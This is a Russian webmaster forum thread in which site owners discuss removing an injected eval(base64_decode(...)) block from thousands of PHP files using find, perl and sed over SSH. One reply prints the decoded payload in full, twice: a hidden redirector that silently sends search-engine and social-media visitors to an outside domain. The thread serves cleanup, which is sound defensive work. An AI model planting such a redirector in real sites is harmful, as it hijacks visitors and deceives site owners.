Приветствую всех. На нескольких своих сайтах получил код в .php файлы
Скрытый текст (вы должны войти под своим логином или зарегистрироваться и иметь 1 сообщение(ий)):
У вас нет прав чтобы видеть скрытый текст, содержащийся здесь.
Пытался его удалить командами, подключившись по SSH. При это находился в директории с сайтом, где и надо было почистить файлы от кода: данная команда вообще не помогла find . -type f -name '*.php' -exec perl -pi -e 's/eval(base64_decode("DQp.*"));//g' '{}' ;
данная команда find . -type f -name '*.php' -exec perl -pi -e 's/eval\(base64_decode\(\"DQp.*KfQ0KfQ==\"\)\)\;//g' '{}' \; код удаляет, но сайт начинает криво отображаться.
а эта команда find . -name \*php -execdir sed -i.tmp '{s/\(eval(base64_decode("\)[^"]*\("))\)/\1\2/}' {} + код удаляет, сайт корректно отражается, но остаётся начало кода <?php eval(base64_decode("")); и старые заражённые файлы остаются в папке сайта с расширением *.tmp (к примеру wp-comments-post.php.tmp)
Чую, что где-то незначительная ошибка, а вот где... хотелось услышать пояснения спецов. Или подскажите какой командой удалить файлы *.tmp Хелп, в общем...
Последний раз редактировалось 13й; 14.10.2012 в 10:14. Причина: Уточнил
Место свободно для Вашей рекламы. С предложениями в ЛС.
13й, затронутых файлов очень много? если много имручками лень, есть простой скрипт с заменой _http://cmsdev.org/files/replace.zip; сам не проверял работу, но вроде бы нормально работает.
Последний раз редактировалось wolf28; 14.10.2012 в 10:24.
Так выложи весь код eval(base64_decode("... - его ведь можно раскодировать, а затем уже в полученном чистом php-коде редактировать. Вот в этой теме мне помогли, если не разберешься, кидай код, попробую.
error_reporting(0); $qazplm=headers_sent(); if (!$qazplm){ $referer=$_SERVER['HTTP_REFERER']; $uag=$_SERVER['HTTP_USER_AGENT']; if ($uag) { if (!stristr($uag,"MSIE 7.0")){ if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://minkof.sellclassics.com/"); exit(); } } } } }
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (!stristr($uag,"MSIE 7.0")){
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://minkof.sellclassics.com/");
exit();
}
}
}
}
}
fizmatik, все правильно расшифровал) Теперь этот код можно поставить вместо eval(base64_decode(... и редактировать его как угодно.
Теперь этот код можно поставить вместо eval(base64_decode(... и редактировать его как угодно.
На тысячах файлов? Не проще ли данный код удалить? Так-то я его и так сразу же декодировал. Только меня декодирование так-то мало занимало. Меня больше заботит его удаление со всех файлов.
Виктор1974, спасибо за линк, но таким образом удалять код с тысяч файлов при наличии SSH доступа - это каменный век, монотонная работа и куча потерянного времени.
Последний раз редактировалось 13й; 15.10.2012 в 01:12.
Место свободно для Вашей рекламы. С предложениями в ЛС.
Виктор1974, спасибо за линк, но таким образом удалять код с тысяч файлов при наличии SSH доступа - это каменный век, монотонная работа и куча потерянного времени.
дак там же вроде как на автомате всё получается - сайт скачаете на компьютер, перепроверите, затем заного зальёте... не думаю, что займёт больше часа времени P.s. на 1 сайте только такая ерунда?